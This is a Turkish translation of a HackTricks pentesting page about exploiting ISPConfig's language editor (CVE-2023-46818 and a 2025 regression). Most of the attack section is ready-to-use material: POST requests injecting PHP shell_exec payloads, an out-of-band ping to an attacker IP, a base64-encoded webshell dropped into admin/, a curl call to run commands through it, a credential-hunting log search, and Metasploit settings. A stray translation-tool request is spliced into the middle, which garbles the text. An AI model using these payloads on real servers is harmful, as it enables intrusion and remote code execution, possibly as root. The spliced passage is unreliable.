ISPConfig

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

ISPConfig açık kaynaklı bir hosting kontrol panelidir. Eski 3.2.x sürümleri, süper yönetici için etkinleştirildiğinde bozuk bir çeviri kaydı aracılığıyla arbitrary PHP code injection yapılmasına izin veren bir dil dosyası düzenleyici özelliği içeriyordu. Bu, web sunucusu bağlamında RCE sağlayabilir ve PHP’nin nasıl çalıştırıldığına bağlı olarak privilege escalation’a yol açabilir.

Key default paths:

  • Web root often at /var/www/ispconfig when served with php -S or via Apache/nginx.
  • Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).

İpucu: Panel yerel olarak bağlıysa (örn. 127.0.0.1:8080), onu yönlendirin:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Dil editörü PHP code injection (CVE-2023-46818)

  • Etkilenen: ISPConfig 3.2.11’e kadar (3.2.11p1’de düzeltildi)
  • Önkoşullar:
  • Yerleşik superadmin hesabı admin olarak giriş yapın (satıcıya göre diğer roller etkilenmiyor)
  • Dil editörünün etkin olması gerekir: /usr/local/ispconfig/security/security_settings.ini içinde admin_allow_langedit=yes
  • Etki: Kimlik doğrulanmış admin, rastgele PHP enjekte edebilir; bu PHP bir dil dosyasına yazılır ve uygulama tarafından yürütülür, web bağlamında RCE elde edilir

Referanslar: NVD girdisi CVE-2023-46818 ve aşağıdaki Referanslar bölümündeki satıcı uyarı bağlantısı.

Manuel istismar akışı

  1. CSRF tokens elde etmek için bir dil dosyası açın/oluşturun

Formu başlatmak ve HTML yanıtından CSRF alanlarını (csrf_id, csrf_key) ayrıştırmak için ilk POST’u gönderin. Örnek istek yolu: /admin/language_edit.php.

  1. records[] aracılığıyla PHP enjekte edin ve kaydedin

CSRF alanlarını ve kötü amaçlı bir çeviri kaydını içeren ikinci POST’u gönderin. Minimal komut yürütme denemeleri:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band testi (ICMP gözlemi):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Dosyalar yazma ve webshell bırakma

Web’e ulaşılabilir bir yola (ör. admin/) bir dosya oluşturmak için file_put_contents kullanın:

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Sonra POST gövdesindeki kötü karakterlerden kaçınmak için base64 kullanan basit bir webshell yazın:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Çevirmem için lütfen src/network-services-pentesting/pentesting-web/ispconfig.md dosyasının içeriğini gönderin. Markdown içeriğini yapısını bozmadan (kod, linkler, path’ler, tag’ler ve belirtilen terimleri çevirmeden) Türkçeye çevireceğim.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

If PHP is executed as root (e.g., via php -S 127.0.0.1:8080 started by root), this yields immediate root RCE. Otherwise, you gain code execution as the web server user.

2025 regresyonu (ISPConfig 3.3.0 / 3.3.0p1)

Dil düzenleyici hatası 3.3.0/3.3.0p1’de yeniden ortaya çıktı ve 3.3.0p2’de düzeltildi. Ön koşullar aynı kaldı (admin_allow_langedit ve admin girişi). Aynı yama ayrıca bir monitor XSS’i ve dünya tarafından okunabilir döndürülen logları da ele aldı.

Notlar:

  • On 3.3.0/3.3.0p1, world-readable rotated logs under /usr/local/ispconfig/interface/log/ may leak credentials if debug logging was enabled:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Exploit adımları CVE-2023-46818 ile eşleşiyor; 3.3.0p2 dil düzenlemeden önce ek kontroller ekliyor.

Python PoC

Kullanıma hazır bir exploit, token işlemesini ve payload teslimatını otomatikleştirir:

Örnek çalışma:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (yayınlandı Temmuz 2025)

Rapid7, exploit/linux/http/ispconfig_lang_edit_php_code_injection’i ekledi; sağlanan admin hesabı system-config haklarına sahipse admin_allow_langedit’i otomatik olarak etkinleştirebilir.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

Modül records[] aracılığıyla base64-encoded bir payload yazar ve çalıştırır; bu, bir PHP Meterpreter veya özel bir payload sağlar.

Sertleştirme

  • Orijinal sorun için 3.2.11p1 veya daha yeni bir sürüme, 2025 regresyonu için ise 3.3.0p2 veya daha yeni bir sürüme yükseltin.
  • Dil editörünü yalnızca kesinlikle gerekiyorsa devre dışı bırakın:
admin_allow_langedit=no
  • Paneli root olarak çalıştırmaktan kaçının; PHP-FPM veya web sunucusunu ayrıcalıkları düşürecek şekilde yapılandırın
  • Yerleşik admin hesabı için güçlü kimlik doğrulamayı zorunlu kılın

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin